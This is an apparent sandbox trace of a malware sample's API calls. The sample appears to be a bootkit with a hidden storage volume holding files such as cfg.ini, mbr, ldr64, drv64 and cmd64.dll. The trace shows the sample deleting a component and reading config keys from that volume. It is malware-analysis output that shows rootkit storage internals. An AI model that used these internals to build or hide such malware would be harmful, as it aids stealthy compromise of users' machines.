[0122.551] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.551] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.551] KeLeaveCriticalRegion () [0122.551] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.551] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.551] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.551] KeEnterCriticalRegion () [0122.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.551] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.551] IdePortDispatch () returned 0x103 [0122.551] KeWaitForMutexObject () returned 0x0 [0122.551] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.551] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.551] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.551] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.551] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.551] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.551] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.551] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.551] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.551] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.551] KeLeaveCriticalRegion () [0122.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.552] ReleaseMutex (hMutex=0x100) returned 1 [0122.552] Sleep (dwMilliseconds=0x2bf20) [0122.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c3e49d0, dwHighDateTime=0x1d24fa4)) [0122.558] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.558] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.558] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.558] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.558] KeEnterCriticalRegion () [0122.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.558] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.558] IdePortDispatch () returned 0x103 [0122.558] KeWaitForMutexObject () returned 0x0 [0122.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.558] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.558] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.559] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.559] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.559] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6cb0 [0122.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.559] KeLeaveCriticalRegion () [0122.559] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.559] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.559] KeEnterCriticalRegion () [0122.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.559] KeLeaveCriticalRegion () [0122.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.559] KeEnterCriticalRegion () [0122.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.559] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.559] IdePortDispatch () returned 0x103 [0122.559] KeWaitForMutexObject () returned 0x0 [0122.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.559] KeLeaveCriticalRegion () [0122.559] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.559] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.559] KeEnterCriticalRegion () [0122.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0122.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.559] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.559] IdePortDispatch () returned 0x103 [0122.559] KeWaitForMutexObject () returned 0x0 [0122.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.560] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.560] IdePortDispatch () returned 0x103 [0122.560] KeWaitForMutexObject () returned 0x0 [0122.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.560] KeLeaveCriticalRegion () [0122.560] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.560] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.560] KeEnterCriticalRegion () [0122.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.560] KeLeaveCriticalRegion () [0122.561] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.561] KeEnterCriticalRegion () [0122.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.561] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.561] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.561] KeLeaveCriticalRegion () [0122.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.564] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.564] KeEnterCriticalRegion () [0122.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.564] ExFreePoolWithTag (P=0xfffffa8003be6cb0, Tag=0x0) [0122.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.564] KeLeaveCriticalRegion () [0122.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.564] ReleaseMutex (hMutex=0xf0) returned 1 [0122.564] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.564] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.564] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.564] KeEnterCriticalRegion () [0122.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.564] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.564] IdePortDispatch () returned 0x103 [0122.564] KeWaitForMutexObject () returned 0x0 [0122.564] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.564] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.564] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.564] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.564] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.564] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5290 [0122.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.564] KeLeaveCriticalRegion () [0122.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.564] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.565] KeEnterCriticalRegion () [0122.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.565] KeLeaveCriticalRegion () [0122.565] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.565] KeEnterCriticalRegion () [0122.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.565] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.565] IdePortDispatch () returned 0x103 [0122.565] KeWaitForMutexObject () returned 0x0 [0122.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.565] KeLeaveCriticalRegion () [0122.565] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.565] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.565] KeEnterCriticalRegion () [0122.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.565] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0122.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.565] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.565] IdePortDispatch () returned 0x103 [0122.565] KeWaitForMutexObject () returned 0x0 [0122.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.566] IdePortDispatch () returned 0x103 [0122.566] KeWaitForMutexObject () returned 0x0 [0122.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.566] KeLeaveCriticalRegion () [0122.566] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.566] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.566] KeEnterCriticalRegion () [0122.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.566] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.566] KeLeaveCriticalRegion () [0122.566] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.566] KeEnterCriticalRegion () [0122.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.567] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.567] KeLeaveCriticalRegion () [0122.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.567] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.567] KeEnterCriticalRegion () [0122.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.567] ExFreePoolWithTag (P=0xfffffa8003be5290, Tag=0x0) [0122.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.567] KeLeaveCriticalRegion () [0122.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.567] ReleaseMutex (hMutex=0xf0) returned 1 [0122.567] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.567] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.567] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.567] KeEnterCriticalRegion () [0122.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.567] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.567] IdePortDispatch () returned 0x103 [0122.567] KeWaitForMutexObject () returned 0x0 [0122.567] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.567] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.567] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.567] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.567] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.567] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5130 [0122.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.567] KeLeaveCriticalRegion () [0122.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.567] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.567] KeEnterCriticalRegion () [0122.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.568] KeLeaveCriticalRegion () [0122.568] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.568] KeEnterCriticalRegion () [0122.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.568] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.568] IdePortDispatch () returned 0x103 [0122.569] KeWaitForMutexObject () returned 0x0 [0122.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.569] KeLeaveCriticalRegion () [0122.569] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.569] KeEnterCriticalRegion () [0122.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0122.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.570] IdePortDispatch () returned 0x103 [0122.570] KeWaitForMutexObject () returned 0x0 [0122.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.570] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.570] IdePortDispatch () returned 0x103 [0122.570] KeWaitForMutexObject () returned 0x0 [0122.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.570] KeLeaveCriticalRegion () [0122.570] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.571] KeEnterCriticalRegion () [0122.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] KeLeaveCriticalRegion () [0122.571] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.571] KeEnterCriticalRegion () [0122.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 